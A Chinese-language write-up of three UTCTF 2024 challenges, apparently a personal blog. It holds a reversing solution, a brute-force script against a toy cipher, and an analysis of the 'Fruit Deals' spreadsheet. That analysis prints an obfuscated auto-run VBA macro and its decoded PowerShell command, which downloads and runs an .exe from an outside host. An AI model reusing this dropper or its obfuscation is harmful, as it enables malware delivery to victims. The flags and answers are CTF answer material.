UCTF2024

Beginner: Basic Reversing Problem

keygen调用一堆函数

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall l1(_BYTE *a1)
{
*a1 = 117;
return l2(a1 + 1);
}
__int64 __fastcall l2(_BYTE *a1)
{
*a1 = 116;
return l3(a1 + 1);
}
...

直接写脚本

exp

1
2
3
4
enc = [117, 116, 102, 108, 97, 103, 123, 105, 95, 99, 52, 110, 95, 114, 51, 118, 33, 125]
flag = ''.join([chr(i) for i in enc])
print(flag)
#utflag{i_c4n_r3v!}

flag

utflag{i_c4n_r3v!}

Fruit Deals

描述:

I found a excel sheet with some great deals thanks to some random guy on the internet! Who doesn’t trust random people off the internet, especially from email

The flag is the file name that was attempted to be downloaded, wrapped in utflag{} Note: the file imitates malicious behavior. its not malicious, but it will be flagged by AV. you probably shouldn’t just run it though.

下载下来是一个.xlsm表格文件,题目描述提示我们要找到尝试下载的文件名,打开文件,发现有一个宏,宏代码里面应该有恶意执行代码,直接查看宏代码,在deals.xlsm/VBAProject/Modules/Module2中发现如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub AutoOpen()
Dim Retval
Dim f As String
Dim t53df028c67b2f07f1069866e345c8b85, qe32cd94f940ea527cf84654613d4fb5d, e5b138e644d624905ca8d47c3b8a2cf41, tfd753b886f3bd1f6da1a84488dee93f9, z92ea38976d53e8b557cd5bbc2cd3e0f8, xc6fd40b407cb3aac0d068f54af14362e As String
xc6fd40b407cb3aac0d068f54af14362e = "$OrA, "
If Sheets("Sheet2").Range("M62").Value = "Iuzaz/iA" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "$jri);"
End If
If Sheets("Sheet2").Range("G80").Value = "bAcDPl8D" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "Invok"
End If
e5b138e644d624905ca8d47c3b8a2cf41 = " = '"
If Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "http"
End If
If Sheets("Sheet2").Range("B50").Value = "4L3bnaGQ" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "://f"
End If
If Sheets("Sheet2").Range("B32").Value = "QyycTMPU" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "e-Ite"
End If
If Sheets("Sheet2").Range("K47").Value = "0kIbOvsu" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "m $jri"
End If
If Sheets("Sheet2").Range("B45").Value = "/hRdSmbG" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + ";brea"
End If
If Sheets("Sheet2").Range("D27").Value = "y9hFUyA8" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "ruit"
End If
If Sheets("Sheet2").Range("A91").Value = "De5234dF" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".ret3"
End If
If Sheets("Sheet2").Range("I35").Value = "DP7jRT2v" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".gan"
End If
If Sheets("Sheet2").Range("W48").Value = "/O/w/o57" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "k;} c"
End If
If Sheets("Sheet2").Range("R18").Value = "FOtBe4id" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "atch "
End If
If Sheets("Sheet2").Range("W6").Value = "9Vo7IQ+/" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "{}"""
End If
If Sheets("Sheet2").Range("U24").Value = "hmDEjcAE" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "g/ma"
End If
If Sheets("Sheet2").Range("C96").Value = "1eDPj4Rc" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "lwar"
End If
If Sheets("Sheet2").Range("B93").Value = "A72nfg/f" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".rds8"
End If
If Sheets("Sheet2").Range("E90").Value = "HP5LRFms" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "e';$"
End If
tfd753b886f3bd1f6da1a84488dee93f9 = "akrz"
If Sheets("Sheet2").Range("G39").Value = "MZZ/er++" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "f3zsd"
End If
If Sheets("Sheet2").Range("B93").Value = "ZX42cd+3" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "2832"
End If
If Sheets("Sheet2").Range("I15").Value = "e9x9ME+E" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "0918"
End If
If Sheets("Sheet2").Range("T46").Value = "7b69F2SI" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "2afd"
End If
If Sheets("Sheet2").Range("N25").Value = "Ga/NUmJu" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "CNTA"
End If
If Sheets("Sheet2").Range("N26").Value = "C1hrOgDr" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + " = '"
End If
If Sheets("Sheet2").Range("C58").Value = "PoX7qGEp" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "banA"
End If
If Sheets("Sheet2").Range("B53").Value = "see2d/f" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "Fl0dd"
End If
If Sheets("Sheet2").Range("Q2").Value = "VKVTo5f+" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "NA-H"
End If
t53df028c67b2f07f1069866e345c8b85 = "p"
If Sheets("Sheet2").Range("L84").Value = "GSPMnc83" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "oWe"
End If
If Sheets("Sheet2").Range("H35").Value = "aCxE//3x" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "ACew"
End If
If Sheets("Sheet2").Range("R95").Value = "uIDW54Re" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "Rs"
End If
If Sheets("Sheet2").Range("A24").Value = "PKRtszin" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "HELL"
End If
If Sheets("Sheet2").Range("G33").Value = "ccEsz3te" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "L3c33"
End If
If Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + " -c"
End If

If Sheets("Sheet2").Range("Z49").Value = "oKnlcgpo" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "4';$"
End If
If Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "jri="
End If
If Sheets("Sheet2").Range("M37").Value = "y7MxjsAO" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "$env:"
End If
If Sheets("Sheet2").Range("E20").Value = "ap0EvV5r" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "publ"
End If
z92ea38976d53e8b557cd5bbc2cd3e0f8 = "\'+$"
If Sheets("Sheet2").Range("D11").Value = "Q/GXajeM" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "CNTA"
End If
If Sheets("Sheet2").Range("B45").Value = "/hRdSmbG" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "+'.ex"
End If
If Sheets("Sheet2").Range("D85").Value = "y4/6D38p" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "e';tr"
End If
If Sheets("Sheet2").Range("P2").Value = "E45tTsBe" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "4d2dx"
End If
If Sheets("Sheet2").Range("O72").Value = "lD3Ob4eQ" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "ic+'"
End If
qe32cd94f940ea527cf84654613d4fb5d = "omm"
If Sheets("Sheet2").Range("P24").Value = "d/v8oiH9" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "and"
End If
If Sheets("Sheet2").Range("V22").Value = "dI6oBK/K" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " """
End If
If Sheets("Sheet2").Range("G1").Value = "zJ1AdN0x" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$oa"
End If
If Sheets("Sheet2").Range("Y93").Value = "E/5234dF" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "e$3fn"
End If
If Sheets("Sheet2").Range("A12").Value = "X42fc3/=" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "av3ei"
End If
If Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "K ="
End If
If Sheets("Sheet2").Range("L99").Value = "t8PygQka" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " ne"
End If
If Sheets("Sheet2").Range("X31").Value = "gGJBD5tp" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "w-o"
End If
If Sheets("Sheet2").Range("C42").Value = "Dq7Pu9Tm" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "bjec"
End If
If Sheets("Sheet2").Range("D22").Value = "X42/=rrE" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "aoX3&i"
End If
If Sheets("Sheet2").Range("T34").Value = "9u2uF9nM" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t Ne"
End If
If Sheets("Sheet2").Range("G5").Value = "cp+qRR+N" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t.We"
End If
If Sheets("Sheet2").Range("O17").Value = "Q8z4cV/f" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "bCli"
End If
If Sheets("Sheet2").Range("Y50").Value = "OML7UOYq" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "ent;"
End If
If Sheets("Sheet2").Range("P41").Value = "bG9LxJvN" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$OrA"
End If
If Sheets("Sheet2").Range("L58").Value = "qK02fT5b" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "y{$oa"
End If
If Sheets("Sheet2").Range("P47").Value = "hXelsG2H" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "K.Dow"
End If
If Sheets("Sheet2").Range("A2").Value = "RcPl3722" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "Ry.is"
End If
If Sheets("Sheet2").Range("G64").Value = "Kvap5Ma0" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "nload"
End If
If Sheets("Sheet2").Range("H76").Value = "OjgR3YGk" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "File("
End If
f = t53df028c67b2f07f1069866e345c8b85 + qe32cd94f940ea527cf84654613d4fb5d + e5b138e644d624905ca8d47c3b8a2cf41 + tfd753b886f3bd1f6da1a84488dee93f9 + z92ea38976d53e8b557cd5bbc2cd3e0f8 + xc6fd40b407cb3aac0d068f54af14362e
Retval = Shell(f, 0)
Dim URL As String
URL = "https://www.youtube.com/watch?v=mYiBdMnIT88"
ActiveWorkbook.FollowHyperlink URL
End Sub

无法直接运行
加断点调试,输出f
2024-04-03T155035
f= poWeRsHELL -command "$oaK = new-object Net.WebClient;$OrA = 'http://fruit.gang/malware';$CNTA = 'banANA-Hakrz09182afd4';$jri=$env:public+\'+$CNTA+'.exe';try{$oaK.DownloadFile($OrA, $jri);Invoke-Item $jri;break;} catch {}"
这是一个使用 PowerShell 编写的命令,它执行以下操作:

  • 创建了一个名为 $oaK 的新对象,该对象是 Net.WebClient 类型的。
  • 设置了一个变量 $OrA,其中包含一个 URL,指向某个地方的恶意软件。
  • 设置了一个变量 $CNTA,其中包含一个字符串banANA-Hakrz09182afd4,可能是用于生成恶意软件的文件名的一部分。
  • 构造了一个文件路径 $jri,将环境变量 $env:public$CNTA 的值和 '.exe' 结合起来。
  • 尝试从 $OrA 指定的 URL 下载文件,并保存到 $jri 指定的路径。
  • 如果下载成功,使用 Invoke-Item 命令打开刚刚下载的文件。
  • 如果下载失败,则会抛出异常。

根据命令中的变量设置,下载的文件名将是 $CNTA 的值与 '.exe' 的组合。即banANA-Hakrz09182afd4.exe

flag

utflag{banANA-Hakrz09182afd4}

PES-128

描述:

Introducing the Parallel Encryption Standard PES-128 cipher! It’s super high throughput and notable nonrequirement of keys makes it a worthy contender for NIST standardization as a secure PRF.

PES 加密程序比较复杂,难以直接逆向,我们考虑爆破
运行 PES 加密程序我们可以发现,它似乎是逐字节加密的,我们就考虑逐字节爆破
在此之前我们学习一下python 的subprocess库

subprocess

subprocess 是一个用于创建新进程的库,我们可以使用它来执行系统命令,比如我们可以使用它来执行一个程序,或者执行一个shell命令

subprocess.run()

语法
1
subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output= False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text = None , env=None, universal_newlines=None)
  • args: 要执行的命令,可以是字符串或者序列。 如果是字符串,则它将由 shell 解释,如果是列表,则该列表应包含命令及其参数的分解。例如,[“ls”, “-l”] 或 “ls -l”。
  • stdin:用于标准输入的数据。它可以是一个字节字符串,一个文件对象或者 None。默认为 None,意味着没有输入流。你可以将其设置为 subprocess.PIPE 来允许子进程读取标准输入。
  • input:如果提供了 input,则它将被传递给子进程的标准输入。它应该是一个字符串。如果同时指定了 stdin 和 input,则 input 会被忽略。
  • stdout:表示标准输出的文件描述符对象。默认为 None,表示不捕获标准输出,直接输出到终端。你可以将其设置为 subprocess.PIPE 来捕获标准输出。
  • stderr:表示标准错误输出的文件描述符对象。默认为 None,表示不捕获标准错误输出,直接输出到终端。你可以将其设置为 subprocess.PIPE 来捕获标准错误输出。
  • capture_output:如果为 True,则 stdout 和 stderr 将被捕获到 subprocess.CompletedProcess 对象的属性中。如果为 True,则 stdout 和 stderr 参数不能同时被设置为 subprocess.PIPE。默认为 False。
  • shell:如果将其设置为 True,则命令将在 shell 中执行。默认为 False,表示直接执行命令而不通过 shell。
  • cwd:用于设置子进程的当前工作目录。默认为 None,表示使用当前工作目录。
  • timeout:超时时间,单位为秒。如果子进程在超时时间内没有结束,则会被终止,引发 subprocess.TimeoutExpired 异常。默认为 None,表示没有超时时间。
  • check:如果将其设置为 True,则如果子进程返回非零退出状态,将引发 subprocess.CalledProcessError 异常。默认为 False。
  • encodeing:用于解码 stdout 和 stderr 的编码。默认为 None,表示不解码,使用系统默认编码。
  • errors:指定字符编码错误处理方案。默认为 None,表示使用默认错误处理方案。
  • text:如果将其设置为 True,则 stdin、stdout 和 stderr 将被解释为文本流,而不是字节流。默认为 None,表示使用 text 属性的值。
  • env: 一个字典,用于设置子进程的环境变量。默认为 None,表示继承父进程的环境变量。
  • universal_newlines:与 text 参数相同的作用,但是在 Python 3.7 之前使用。如果设置为 True,则会强制使用文本模式进行 I/O 操作。
示例
1
2
3
4
5
6
7
8
9
10
import subprocess
import subprocess
def runcmd(command):
ret = subprocess.run(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,encoding="utf-8",timeout=1)
if ret.returncode == 0:
print("success:",ret)
else:
print("error:",ret)
runcmd(["dir","/b"])#序列参数
runcmd("exit 1")#字符串参数

输出

1
2
success: CompletedProcess(args=['dir', '/b'], returncode=0, stderr='')
error: CompletedProcess(args='exit 1', returncode=1, stdout='', stderr='')

subprocess.Popen()

语法
1
subprocess.Popen(args, bufsize=-1, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=True, shell=False, cwd=None, env=None, universal_newlines=None, startupinfo=None, creationflags=0, restore_signals=True, start_new_session=False, pass_fds=(), *, encoding=None, errors=None, text=None)
  • args: 要执行的命令,可以是字符串或者序列。 如果是字符串,则它将由 shell 解释,如果是列表,则该列表应包含命令及其参数的分解。例如,[“ls”, “-l”] 或 “ls -l”。
  • bufsize:用于设置缓冲策略。默认为 -1,表示使用系统默认缓冲策略。
  • executable:用于设置要执行的可执行文件。默认为 None,表示使用 args[0]。
  • stdin:用于标准输入的数据。它可以是一个字节字符串,一个文件对象或者 None。默认为 None,意味着没有输入流。你可以将其设置为 subprocess.PIPE 来允许子进程读取标准输入。
  • stdout:表示标准输出的文件描述符对象。默认为 None,表示不捕获标准输出,直接输出到终端。你可以将其设置为 subprocess.PIPE 来捕获标准输出。
  • stderr:表示标准错误输出的文件描述符对象。默认为 None,表示不捕获标准错误输出,直接输出到终端。你可以将其设置为 subprocess.PIPE 来捕获标准错误输出。
  • preexec_fn:用于设置子进程启动前的操作。默认为 None。
  • close_fds:如果将其设置为 True,则在子进程启动时关闭所有文件描述符。默认为 True。
  • shell:如果将其设置为 True,则命令将在 shell 中执行。默认为 False,表示直接执行命令而不通过 shell。
  • cwd:用于设置子进程的当前工作目录。默认为 None,表示使用当前工作目录。
  • env: 一个字典,用于设置子进程的环境变量。默认为 None,表示继承父进程的环境变量。
  • universal_newlines:与 text 参数相同的作用,但是在 Python 3.7 之前使用。如果设置为 True,则会强制使用文本模式进行 I/O 操作。
  • startupinfo:用于设置子进程的一些启动信息。默认为 None。
  • creationflags:用于设置子进程的一些标志。默认为 0。
  • restore_signals:如果将其设置为 True,则在子进程启动时恢复信号处理。默认为 True。
  • start_new_session:如果将其设置为 True,则子进程将在新的会话中启动。默认为 False。
  • pass_fds:一个整数元组,用于设置要传递给子进程的文件描述符。默认为 ()。
  • encoding:用于解码 stdout 和 stderr 的编码。默认为 None,表示不解码,使用系统默认编码。
  • errors:指定字符编码错误处理方案。默认为 None,表示使用默认错误处理方案。
  • text:如果将其设置为 True,则 stdin、stdout 和 stderr 将被解释为文本流,而不是字节流。默认为 None,表示使用 text 属性的值。
Popen对象的方法
  • poll():检查子进程是否已经终止。如果子进程已经终止,则返回子进程的返回码。如果子进程尚未终止,则返回 None。
  • wait(timeout=None):等待子进程终止。如果子进程在超时时间内没有终止,则会被终止,引发 subprocess.TimeoutExpired 异常。如果子进程已经终止,则返回子进程的返回码。
  • communicate(input=None):与子进程进行交互。如果提供了 input,则它将被传递给子进程的标准输入。它应该是一个字符串。该方法返回一个元组,包含子进程的标准输出和标准错误输出。如果提供了 input,则标准输入将被关闭。
  • send_signal(signal):向子进程发送信号。signal 是一个整数,表示信号的编号。
  • terminate():终止子进程。向子进程发送 SIGTERM 信号。
  • kill():杀死子进程。向子进程发送 SIGKILL 信号。
示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import subprocess
import time
import subprocess

def cmd(command):
    subp = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,encoding="utf-8")
    subp.wait(2)
    if subp.poll() == 0:
        print(subp.communicate()[1])
    else:
        print("失败")

cmd("java -version")
cmd("exit 1")

输出

1
2
3
4
5
java version "19.0.1" 2022-10-18
Java(TM) SE Runtime Environment (build 19.0.1+10-21)
Java HotSpot(TM) 64-Bit Server VM (build 19.0.1+10-21, mixed mode, sharing)

失败

据此我们可以写一个爆破脚本

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import subprocess
enc = '75ac713a945e9f78f657b735b7e1913cdece53b8853f3a7daade83b319c49139f8f655b0b77b'

def encrypt(input_hex):#用给定的PES加密程序加密输入的十六进制字符串
result = subprocess.run(['./PES'], input=input_hex, text=True, capture_output=True)
output = result.stdout.strip().split('\n')[-1]#获取加密后的十六进制字符串
return output

def brute_force(enc):
input = ''
for i in range(0, len(enc), 2):#
for j in range(256):
str_hex = input + f'{j:02x}'#将输入的字符串转换为十六进制
output = encrypt(str_hex)
if enc.startswith(output):#判断加密后的字符串是否与给定的字符串相同
input = str_hex
print(f'Found: {input} -> {output}')
break
return input

flag_hex = brute_force(enc)
flag = bytes.fromhex(flag_hex).decode()
print(flag)
#utflag{i_got_the_need_for_amdahls_law}

2024-04-04T182540

flag

utflag{i_got_the_need_for_amdahls_law}